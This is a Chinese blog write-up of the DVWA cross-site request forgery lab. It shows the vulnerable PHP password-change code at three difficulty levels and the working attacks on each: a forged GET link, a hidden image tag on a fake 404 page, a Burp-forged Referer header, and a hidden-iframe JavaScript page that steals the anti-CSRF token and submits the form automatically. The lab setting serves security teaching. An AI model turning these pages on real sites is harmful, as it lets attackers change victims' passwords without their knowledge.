dvwa-CSRF

总结了dvwa中关于跨网站请求伪造的一些关卡

Low

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

include("../sql-connection.php");

$pass_new=$_GET['password_new'];
$pass_conf=$_GET['password_conf'];

if($_GET['password_new'] == $_GET['password_conf']){
$pass_new=mysql_real_escape_string($pass_new);
$pass_new=md5($pass_new);
$username=$_COOKIE['Username'];

$sql="UPDATE users SET password='$pass_new' WHERE user='$username'";
$result=mysql_query($sql) or die(mysql_error());
echo "Your password has changed";
}
else {
echo "Password didn't match";
}

?>

从源代码可以看出,这是一个修改密码的程序,而$username是取决于中cookie的Username字段值,也就是说,当我们以一个用户身份登录时,服务器会将用户的信息保存在cookie中,下次访问时,就不需要再登录,浏览器直接按之前保存的身份信息登录。这就可能导致了一种CSRF(Cross-site request forgery,跨网站请求伪造)的漏洞,因为修改的密码都是以GET的形式发送给服务器,所以攻击者可以伪造一个url,诱导受害者去点击,受害者一旦点击,如果浏览器之前保存了身份认证信息,用户的密码就会被恶意修改,它与XSS的区别在于,它并没有盗取用户的cookie,而是直接利用用户的cookie,从而完成非法操作。

构造链接:

(1)最基础的链接:http://127.0.0.1/demo/CSRF/low-change.php?password_new=hack&password_conf=hack&change=change

当受害者点击了这个链接,他的密码直接就会被修改成hack

但是这种链接简单直白的告诉了稍微看得懂一点url的人…很明显的就是想篡改他的密码,也就只能骗一骗那些完全不懂的小白

需要注意的是,CSRF最关键的就是利用用户的cookie向服务器发送伪造请求,也就是说,如果浏览器未保存用户的身份信息,那受害者点击链接时就会自动进入登录界面,攻击就失效了

有保存用户信息的浏览器,比如Chrome浏览器

Chrome的检查功能可以很明显的看到保存了cookie信息

而有些浏览器未能保存cookie信息,CSRF攻击就实现不了

(2)构造短链接

利用百度短网址系统将网址缩短成一个短网址

由于是本地搭的环境,所以生成不了,实际场景下目标服务器不是域名的话是可以生成短链接的

这种方法虽然链接看起来不像是攻击链接,但是受害者依然能看到修改密码成功的提示信息

(3)构造攻击页面

为了能让用户点击攻击链接,又能不让用户察觉到自己的密码被修改了,我们可以构造一个页面,里面包含了攻击链接,让用户去点击

我们写一个test.html

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<head>
<title>test</title>
</head>
<body>

<img src="http://127.0.0.1/demo/CSRF/low-change.php?password_new=hack&password_conf=hack&change=change" style="display:none">
<h1>404</h1>
<h2>file not found.</h2>

</body>
</html>

当受害者访问这个页面时,一个看不见的图片标签就自动访问了修改密码的页面,受害者还误以为自己访问了一个失效的url,实际上自己的密码已经被修改为了hack

Medium

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

include("../sql-connection.php");

if(isset($_GET['change'])){
if(eregi($_SERVER['SERVER_NAME'],$_SERVER['HTTP_REFERER'])){
$pass_new=$_GET['password_new'];
$pass_conf=$_GET['password_conf'];
$username=$_COOKIE['Username'];

if($pass_new == $pass_conf){
$pass_new=mysql_real_escape_string($pass_new);
$pass_new=md5($pass_new);
$sql="UPDATE users SET password='$pass_new' WHERE user='$username'";
$result=mysql_query($sql) or die(mysql_error());
echo "Your password has changed";
}
else{
echo "Password didn't match";
}
}
else{
echo "That request didn't look correct";
}
}

?>

与上一关的区别在于这里加了一个过滤条件,首先先查一下eregi函数的用法

eregi(string pattern,string string):在一个字符串string中搜索指定模式pattern的字符串,不分大小写,如果匹配成功则返回true,不成功则返回false

再查阅一下全局变量

1
2
$_SERVER['SERVER_NAME']:http包头的Host参数,即要访问的主机名
$_SERVER['HTTP_REFERER']:http包头的Referer参数的值,表示来源地址

看完不理解也没事,我们利用burp抓包看一下就大概明白了

我们先在提交的表单中输入password为hack

然后点击提交

然后用burp抓包

Host值就是要访问的主机名,Referer值就是来源地址

这是在网页中的表单中提交数据,所以来源地址是这个网页的地址

我们最终访问主机名一定是127.0.0.1,所以127.0.0.1一定要出现在Referer值中,这起到了一定的过滤作用,如果受害者访问我们伪造的攻击网站,攻击网站向服务器发出伪造请求,会被服务器检测来源地址,地址中不带127.0.0.1的话,就会被过滤掉,但是这种过滤很好解决,即使不理解上面两个参数的意思,我们只要用burp修改请求头的Host和Referer参数,让两个参数都带有一样的内容就ok了

我们在浏览器中访问http://127.0.0.1/demo/CSRF/medium-change.php?password_new=hack&password_conf=hack&change=change

然后用burp抓包

我们看到请求头中只有Host参数,没有Referer参数,这是因为我们是在空白的页面访问的,所以没有来源地址,这时候点击go

发现请求被过滤了

我们在请求头中添加Referer参数,随便输入一个带127.0.0.1的值

添加Referer参数后修改密码成功

High

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这关加入了token认证机制,能非常有效的预防CSRF攻击,它的防御过程如下:

(1)每当用户登录后会随机产生一段字符串,并且存储在Session或者Cookie中

(2)在敏感操作中加入隐藏标签,value即为Session中保存的字符串,如本关中的表单加入了隐藏标签,提交的内容就是Session中保存的字符串

(3)用户提交请求后,服务器将请求提交的Token字符串与Session中的字符串进行比较,如果一致,则认为是正常请求,否则可能是CSRF攻击

(4)更新Token值

所以,要绕过Token认证,就必要想办法获得存储在Session或者Cookie当中的Token值

破解token认证思路是在攻击页面上利用隐藏的iframe框架访问修改密码的页面,然后用javascript代码获取页面token值再赋值给攻击页面表单,再模拟提交隐藏表单

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html>
<head>
<title>high-attack</title>
</head>

<script type="text/javascript">
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById('hack').contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById('transfer').submit();
}
</script>

<iframe src="http://127.0.0.1/dvwa/vulnerabilities/csrf/" id='hack' border='0' style='display:none'>
</iframe>

<body onload="attack()">

<form id="transfer" method='get' action="http://127.0.0.1/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>

</body>
</html>

然后在浏览器输入攻击页面url,跳转到修改密码的页面

可以看到成功获取token值并修改密码成功

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2018/07/13/dvwa-CSRF/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog